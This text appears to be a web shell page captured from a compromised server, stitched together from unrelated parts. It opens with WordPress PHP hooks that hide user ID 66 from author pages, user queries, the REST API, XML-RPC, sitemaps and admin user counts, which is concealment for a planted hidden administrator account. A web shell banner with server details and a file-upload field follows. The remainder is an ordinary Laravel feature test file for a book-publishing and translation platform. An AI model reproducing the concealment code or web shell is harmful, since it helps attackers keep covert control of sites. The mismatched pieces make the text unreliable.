add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/palimory/tests/Feature/ |
Upload File : |
<?php
namespace Tests\Feature;
use App\Livewire\Admin\ModerationQueue;
use App\Livewire\Admin\VerificationQueue;
use App\Livewire\Stories\StoryBrowser;
use App\Livewire\Works\WorkForm;
use App\Livewire\Works\WorkShow;
use App\Models\User;
use App\Models\Work;
use App\Models\Version;
use App\Models\TranslationPledge;
use App\Models\TranslationRequest;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
use Tests\TestCase;
/**
* Palimory workflow tests.
*
* Uses a public-domain excerpt from Mary Shelley's Frankenstein (1818)
* as test content — created, verified, then deleted via RefreshDatabase.
*/
class PalimoryWorkflowTest extends TestCase
{
use RefreshDatabase;
// Public domain: Mary Shelley, Frankenstein (1818), Chapter 1
private const FRANKENSTEIN_TITLE = 'Frankenstein; or, The Modern Prometheus';
private const FRANKENSTEIN_EXCERPT = <<<'TEXT'
I am by birth a Genevese, and my family is one of the most distinguished of that republic.
My ancestors had been for many years counsellors and syndics, and my father had filled several
public situations with honour and reputation. He was respected by all who knew him for his
integrity and indefatigable attention to public business. He passed his younger days perpetually
occupied by the affairs of his country; a variety of circumstances had prevented his marrying
early, nor was it until the decline of life that he became a husband and the father of a family.
As the circumstances of his marriage illustrate his character, I cannot refrain from relating
them. One of his most intimate friends was a merchant who, from a flourishing state, fell,
through numerous mischances, into poverty. This man, whose name was Beaufort, was of a proud
and unbending disposition and could not bear to live in poverty and oblivion in the same country
where he had formerly been distinguished for his rank and magnificence.
TEXT;
private const FRANKENSTEIN_SYNOPSIS = 'A young scientist creates a sapient creature in an unorthodox scientific experiment. '
. 'Told through letters and nested narratives, it explores themes of ambition, creation, and responsibility.';
// A brief German "translation" (placeholder for testing — not a real translation)
private const FRANKENSTEIN_DE = <<<'TEXT'
Ich bin von Geburt ein Genfer, und meine Familie gehört zu den angesehensten dieser Republik.
Meine Vorfahren waren viele Jahre lang Ratsmitglieder und Syndici, und mein Vater hatte mehrere
öffentliche Ämter mit Ehre und Ansehen bekleidet. Er wurde von allen, die ihn kannten, wegen
seiner Integrität und unermüdlichen Aufmerksamkeit für öffentliche Angelegenheiten geachtet.
TEXT;
// -------------------------------------------------------------------------
// 1. Public browsing
// -------------------------------------------------------------------------
public function test_homepage_is_accessible(): void
{
$response = $this->get('/');
$response->assertOk();
$response->assertSee('Kickstarter');
}
public function test_story_browser_is_accessible_without_login(): void
{
$response = $this->get('/stories');
$response->assertOk();
}
public function test_guest_cannot_access_work_create(): void
{
$response = $this->get('/works/create');
$response->assertRedirect('/login');
}
// -------------------------------------------------------------------------
// 2. Registration
// -------------------------------------------------------------------------
public function test_personal_author_can_register(): void
{
$response = $this->post('/register', [
'name' => 'Mary Shelley',
'email' => 'mary@example.com',
'password' => 'password',
'password_confirmation' => 'password',
'account_type' => 'personal',
]);
$response->assertRedirect('/dashboard');
$this->assertDatabaseHas('users', ['email' => 'mary@example.com', 'account_type' => 'personal']);
}
public function test_publisher_can_register(): void
{
$response = $this->post('/register', [
'name' => 'Percy Shelley',
'email' => 'percy@publisher.com',
'password' => 'password',
'password_confirmation' => 'password',
'account_type' => 'publisher',
'organization_name' => 'Lackington Hughes Publishers',
'organization_website' => 'https://lackington.example.com',
]);
$response->assertRedirect('/dashboard');
$this->assertDatabaseHas('users', [
'email' => 'percy@publisher.com',
'account_type' => 'publisher',
'organization_name' => 'Lackington Hughes Publishers',
]);
}
// -------------------------------------------------------------------------
// 3. Work creation via Livewire WorkForm
// -------------------------------------------------------------------------
public function test_author_can_create_and_save_work(): void
{
$author = User::factory()->author()->create();
Livewire::actingAs($author)
->test(WorkForm::class)
->set('title', self::FRANKENSTEIN_TITLE)
->set('synopsis', self::FRANKENSTEIN_SYNOPSIS)
->set('original_language', 'en')
->set('genre', 'literary')
->set('translation_policy', 'open')
->set('content', self::FRANKENSTEIN_EXCERPT)
->set('confirmRights', true)
->set('confirmNoInfringement', true)
->set('confirmTerms', true)
->call('saveAsDraft')
->assertHasNoErrors();
$this->assertDatabaseHas('works', [
'title' => self::FRANKENSTEIN_TITLE,
'author_id' => $author->id,
'status' => 'draft',
]);
}
public function test_author_can_publish_to_community_shelf(): void
{
$author = User::factory()->author()->create();
// Create the work directly, then publish via WorkForm in edit mode
$work = Work::factory()->create(['author_id' => $author->id, 'status' => 'draft']);
Version::create([
'work_id' => $work->id,
'type' => 'original',
'language' => 'en',
'contributor_id' => $author->id,
'content' => self::FRANKENSTEIN_EXCERPT,
'status' => 'published',
'word_count' => 150,
]);
Livewire::actingAs($author)
->test(WorkForm::class, ['slug' => $work->slug])
->set('confirmOriginal', true)
->set('confirmRights', true)
->call('publish')
->assertHasNoErrors();
$fresh = $work->fresh();
$this->assertEquals('published', $fresh->status);
$this->assertEquals('community', $fresh->publishing_track);
$this->assertEquals('none', $fresh->moderation_status);
}
// -------------------------------------------------------------------------
// 4. Two-track publishing
// -------------------------------------------------------------------------
public function test_unverified_publisher_work_goes_to_moderation(): void
{
$publisher = User::factory()->publisher()->create();
$work = Work::factory()->create(['author_id' => $publisher->id, 'status' => 'draft']);
Version::create([
'work_id' => $work->id,
'type' => 'original',
'language' => 'en',
'contributor_id' => $publisher->id,
'content' => self::FRANKENSTEIN_EXCERPT,
'status' => 'published',
'word_count' => 150,
]);
Livewire::actingAs($publisher)
->test(WorkForm::class, ['slug' => $work->slug])
->set('confirmOriginal', true)
->set('confirmRights', true)
->call('publish');
$fresh = $work->fresh();
$this->assertNotNull($fresh);
$this->assertEquals('draft', $fresh->status); // still draft — pending review
$this->assertEquals('curated', $fresh->publishing_track);
$this->assertEquals('pending', $fresh->moderation_status);
}
public function test_verified_publisher_publishes_directly_to_curated_shelf(): void
{
$publisher = User::factory()->verifiedPublisher()->create();
$work = Work::factory()->create(['author_id' => $publisher->id, 'status' => 'draft']);
Version::create([
'work_id' => $work->id,
'type' => 'original',
'language' => 'en',
'contributor_id' => $publisher->id,
'content' => self::FRANKENSTEIN_EXCERPT,
'status' => 'published',
'word_count' => 150,
]);
Livewire::actingAs($publisher)
->test(WorkForm::class, ['slug' => $work->slug])
->set('confirmOriginal', true)
->set('confirmRights', true)
->call('publish');
$fresh = $work->fresh();
$this->assertNotNull($fresh);
$this->assertEquals('published', $fresh->status);
$this->assertEquals('curated', $fresh->publishing_track);
$this->assertEquals('none', $fresh->moderation_status);
}
// -------------------------------------------------------------------------
// 5. Story browser
// -------------------------------------------------------------------------
public function test_story_browser_shows_published_works(): void
{
$author = User::factory()->author()->create();
Work::factory()->published()->create([
'author_id' => $author->id,
'title' => self::FRANKENSTEIN_TITLE,
'original_language' => 'en',
]);
Livewire::test(StoryBrowser::class)
->assertSee(self::FRANKENSTEIN_TITLE);
}
public function test_story_browser_hides_pending_moderation_works(): void
{
$publisher = User::factory()->publisher()->create();
Work::factory()->pendingModeration()->create([
'author_id' => $publisher->id,
'title' => self::FRANKENSTEIN_TITLE,
]);
Livewire::test(StoryBrowser::class)
->assertDontSee(self::FRANKENSTEIN_TITLE);
}
public function test_story_browser_filters_by_language(): void
{
$author = User::factory()->author()->create();
Work::factory()->published()->create([
'author_id' => $author->id,
'title' => self::FRANKENSTEIN_TITLE,
'original_language' => 'en',
]);
Work::factory()->published()->create([
'author_id' => $author->id,
'title' => 'Das Urteil',
'original_language' => 'de',
]);
Livewire::test(StoryBrowser::class)
->set('language', 'de')
->assertSee('Das Urteil')
->assertDontSee(self::FRANKENSTEIN_TITLE);
}
public function test_draft_work_is_not_visible_to_other_users(): void
{
$author = User::factory()->author()->create();
$work = Work::factory()->create([
'author_id' => $author->id,
'title' => self::FRANKENSTEIN_TITLE,
'status' => 'draft',
]);
$otherUser = User::factory()->create();
$this->actingAs($otherUser)
->get('/story/' . $work->slug)
->assertNotFound();
}
public function test_author_can_view_own_draft(): void
{
$author = User::factory()->author()->create();
$work = Work::factory()->create([
'author_id' => $author->id,
'status' => 'draft',
]);
// Need at least one version for WorkShow to render
Version::create([
'work_id' => $work->id,
'type' => 'original',
'language' => 'en',
'contributor_id' => $author->id,
'content' => self::FRANKENSTEIN_EXCERPT,
'status' => 'published',
'word_count' => 150,
]);
$this->actingAs($author)
->get('/story/' . $work->slug)
->assertOk();
}
// -------------------------------------------------------------------------
// 6. Translations
// -------------------------------------------------------------------------
public function test_translator_can_request_translation(): void
{
$author = User::factory()->author()->create();
$work = Work::factory()->published()->create([
'author_id' => $author->id,
'translation_policy' => 'open',
]);
Version::create([
'work_id' => $work->id,
'type' => 'original',
'language' => 'en',
'contributor_id' => $author->id,
'content' => self::FRANKENSTEIN_EXCERPT,
'status' => 'published',
'word_count' => 150,
]);
$translator = User::factory()->translator()->create();
Livewire::actingAs($translator)
->test(WorkShow::class, ['slug' => $work->slug])
->set('targetLanguage', 'de')
->call('submitTranslationRequest')
->assertHasNoErrors();
$this->assertDatabaseHas('translation_requests', [
'work_id' => $work->id,
'translator_id' => $translator->id,
'target_language' => 'de',
'status' => 'approved', // auto-approved because policy is 'open'
]);
}
public function test_translator_can_add_translation_version(): void
{
$author = User::factory()->author()->create();
$work = Work::factory()->published()->create(['author_id' => $author->id]);
Version::create([
'work_id' => $work->id,
'type' => 'original',
'language' => 'en',
'contributor_id' => $author->id,
'content' => self::FRANKENSTEIN_EXCERPT,
'status' => 'published',
'word_count' => 150,
]);
$translator = User::factory()->translator()->create();
// Translator creates a German translation version directly
Version::create([
'work_id' => $work->id,
'type' => 'translation',
'language' => 'de',
'contributor_id' => $translator->id,
'content' => self::FRANKENSTEIN_DE,
'status' => 'published',
'word_count' => 120,
]);
$this->assertDatabaseHas('versions', [
'work_id' => $work->id,
'language' => 'de',
'type' => 'translation',
'contributor_id' => $translator->id,
]);
}
// -------------------------------------------------------------------------
// 7. Translation pledges
// -------------------------------------------------------------------------
public function test_reader_can_pledge_to_fund_translation(): void
{
$author = User::factory()->author()->create();
$work = Work::factory()->published()->create(['author_id' => $author->id]);
Version::create([
'work_id' => $work->id,
'type' => 'original',
'language' => 'en',
'contributor_id' => $author->id,
'content' => self::FRANKENSTEIN_EXCERPT,
'status' => 'published',
'word_count' => 150,
]);
$reader = User::factory()->create();
Livewire::actingAs($reader)
->test(WorkShow::class, ['slug' => $work->slug])
->set('fundLanguage', 'ko')
->set('fundAmount', 25)
->call('submitPledge')
->assertHasNoErrors()
->assertSet('pledgeSubmitted', true);
$this->assertDatabaseHas('translation_pledges', [
'work_id' => $work->id,
'user_id' => $reader->id,
'target_language' => 'ko',
'amount_cents' => 2500,
]);
}
// -------------------------------------------------------------------------
// 8. Bookmarking
// -------------------------------------------------------------------------
public function test_reader_can_bookmark_and_unbookmark_work(): void
{
$author = User::factory()->author()->create();
$work = Work::factory()->published()->create(['author_id' => $author->id]);
Version::create([
'work_id' => $work->id,
'type' => 'original',
'language' => 'en',
'contributor_id' => $author->id,
'content' => self::FRANKENSTEIN_EXCERPT,
'status' => 'published',
'word_count' => 150,
]);
$reader = User::factory()->create();
$component = Livewire::actingAs($reader)
->test(WorkShow::class, ['slug' => $work->slug]);
// Bookmark
$component->call('toggleBookmark')->assertSet('isBookmarked', true);
$this->assertDatabaseHas('bookmarks', ['user_id' => $reader->id, 'work_id' => $work->id]);
// Unbookmark
$component->call('toggleBookmark')->assertSet('isBookmarked', false);
$this->assertDatabaseMissing('bookmarks', ['user_id' => $reader->id, 'work_id' => $work->id]);
}
// -------------------------------------------------------------------------
// 9. Unpublish
// -------------------------------------------------------------------------
public function test_author_can_unpublish_own_work(): void
{
$author = User::factory()->author()->create();
$work = Work::factory()->published()->create(['author_id' => $author->id]);
Version::create([
'work_id' => $work->id,
'type' => 'original',
'language' => 'en',
'contributor_id' => $author->id,
'content' => self::FRANKENSTEIN_EXCERPT,
'status' => 'published',
'word_count' => 150,
]);
Livewire::actingAs($author)
->test(WorkShow::class, ['slug' => $work->slug])
->call('unpublish');
$this->assertEquals('draft', $work->fresh()->status);
}
// -------------------------------------------------------------------------
// 10. Admin: publisher verification
// -------------------------------------------------------------------------
public function test_admin_can_verify_publisher(): void
{
$admin = User::factory()->admin()->create();
$publisher = User::factory()->publisher()->create();
$component = Livewire::actingAs($admin)->test(VerificationQueue::class);
$component->call('verify', $publisher->id);
$this->assertEquals('identity_verified', $publisher->fresh()->verification_status);
$this->assertEquals($admin->id, $publisher->fresh()->verified_by);
}
public function test_admin_can_reject_publisher(): void
{
$admin = User::factory()->admin()->create();
$publisher = User::factory()->publisher()->create();
$component = Livewire::actingAs($admin)->test(VerificationQueue::class);
$component->call('reject', $publisher->id);
$this->assertEquals('rejected', $publisher->fresh()->verification_status);
}
public function test_non_admin_cannot_access_verification_queue(): void
{
$user = User::factory()->create();
$this->actingAs($user)
->get('/admin/verification')
->assertForbidden();
}
// -------------------------------------------------------------------------
// 11. Admin: content moderation
// -------------------------------------------------------------------------
public function test_admin_can_approve_pending_work(): void
{
$admin = User::factory()->admin()->create();
$publisher = User::factory()->publisher()->create();
$work = Work::factory()->pendingModeration()->create(['author_id' => $publisher->id]);
$component = Livewire::actingAs($admin)->test(ModerationQueue::class);
$component->call('approve', $work->id);
$fresh = $work->fresh();
$this->assertEquals('published', $fresh->status);
$this->assertEquals('approved', $fresh->moderation_status);
$this->assertEquals($admin->id, $fresh->moderated_by);
}
public function test_admin_can_reject_pending_work(): void
{
$admin = User::factory()->admin()->create();
$publisher = User::factory()->publisher()->create();
$work = Work::factory()->pendingModeration()->create(['author_id' => $publisher->id]);
$component = Livewire::actingAs($admin)->test(ModerationQueue::class);
$component->set('moderationNotes', 'Does not meet quality standards.')->call('reject', $work->id);
$fresh = $work->fresh();
$this->assertEquals('draft', $fresh->status);
$this->assertEquals('rejected', $fresh->moderation_status);
$this->assertEquals('Does not meet quality standards.', $fresh->moderation_notes);
}
public function test_non_admin_cannot_access_moderation_queue(): void
{
$user = User::factory()->create();
$this->actingAs($user)
->get('/admin/moderation')
->assertForbidden();
}
}